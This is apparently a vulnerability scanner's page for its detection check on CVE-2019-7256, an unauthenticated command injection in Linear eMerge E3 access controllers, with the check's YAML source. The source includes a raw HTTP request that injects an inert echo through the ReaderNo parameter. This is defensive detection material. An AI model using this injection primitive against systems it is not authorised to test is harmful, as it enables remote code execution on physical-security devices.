Linear eMerge — 1 vulnerability check

noctis ships 1 vulnerability check for Linear eMerge, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Linear eMerge E3-Series Unauthenticated OS Command Injection

CVECVE-2019-7256
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/linear-emerge/CVE-2019-7256.yaml

Injects an inert echo into the ReaderNo parameter of /card_scan.php and reports when the shell-collapsed per-run marker comes back in the response.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /card_scan.php?No=30&ReaderNo=$(echo%20NOCTIS$(){{tok}}) HTTP/1.0
  4. Checks resp.banner for NOCTIS[0-9a-f]{32} → finding QoD 97: Linear eMerge E3 /card_scan.php ReaderNo OS command injection confirmed: the injected inert echo collapsed to the per-run marker in the res…

References:

Feed source — tests/vulnerabilities/linear-emerge/CVE-2019-7256.yaml
# Linear eMerge E3-Series (Nice S.p.A.) — unauthenticated OS command injection
# CVE-2019-7256
#
# The /card_scan.php endpoint passes the attacker-controlled `ReaderNo` query
# parameter into a shell command without sanitisation, allowing an
# unauthenticated attacker to inject OS commands (`ReaderNo=...$(cmd)...`).
#
# Detection method (command-substitution collapse — safe, inert):
#   A per-run random token is minted and embedded in the ReaderNo value as
#   `$(echo NOCTIS$()<tok>)`. Only a target that *executes* the shell collapses
#   the inner empty `$()` and the `echo`, reconstructing a CONTIGUOUS marker
#   `NOCTIS<tok>` in the response. A server that merely reflects the input keeps
#   the literal `$(echo ...$()...)` — the `$`/`(` break the hex run, so neither
#   the regex nor the exact-marker substring check fire. The probe runs only an
#   inert `echo`; it reads no files and runs no real command.
#
# Reqwest normalises `%2e`/`$(`/`)` in a URL, so the probe is sent as a verbatim
# HTTP/1.0 request via tcp_connect and the reply is matched on resp.banner.
uid: e2f53e36-88bf-4e49-aa9b-e5cdc7e52c66
name: "CVE-2019-7256 — Linear eMerge E3-Series Unauthenticated OS Command Injection (CVSS 9.8)"
description: "Injects an inert echo into the ReaderNo parameter of /card_scan.php and reports when the shell-collapsed per-run marker comes back in the response."
cves: [CVE-2019-7256]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [linear, emerge, e3, nice, command-injection, rce, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-7256"
  - "https://applied-risk.com/resources/ar-2019-005"

steps:
  # Mint a per-run random token and the contiguous marker the shell must rebuild.
  - id: mint-token
    action: script
    code: 'rand_hex(16)'
    store_as: tok

  - id: build-marker
    action: script
    code: '"NOCTIS" + tok'
    store_as: marker

  # Inject the inert echo into ReaderNo. The space inside echo is %20-encoded so
  # the raw HTTP/1.0 request line stays well-formed; the inner `$()` is the
  # collapse primitive that only a real shell removes.
  - id: inject
    action: tcp_connect
    port: "{{port}}"
    send: "GET /card_scan.php?No=30&ReaderNo=$(echo%20NOCTIS$(){{tok}}) HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: resp

  # Confirm: the contiguous marker must appear. The regex requires 32 hex chars
  # immediately after NOCTIS (reflection leaves `$(` in between → no match), and
  # the stridx check requires this run's exact token (defeats a constant marker).
  - id: detect
    action: match
    source: resp.banner
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "resp.connected == true && stridx(resp.banner, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Linear eMerge E3 /card_scan.php ReaderNo OS command injection confirmed: the injected inert echo collapsed to the per-run marker in the response, proving shell execution (CVE-2019-7256)."
      stop: true

View these feeds on GitHub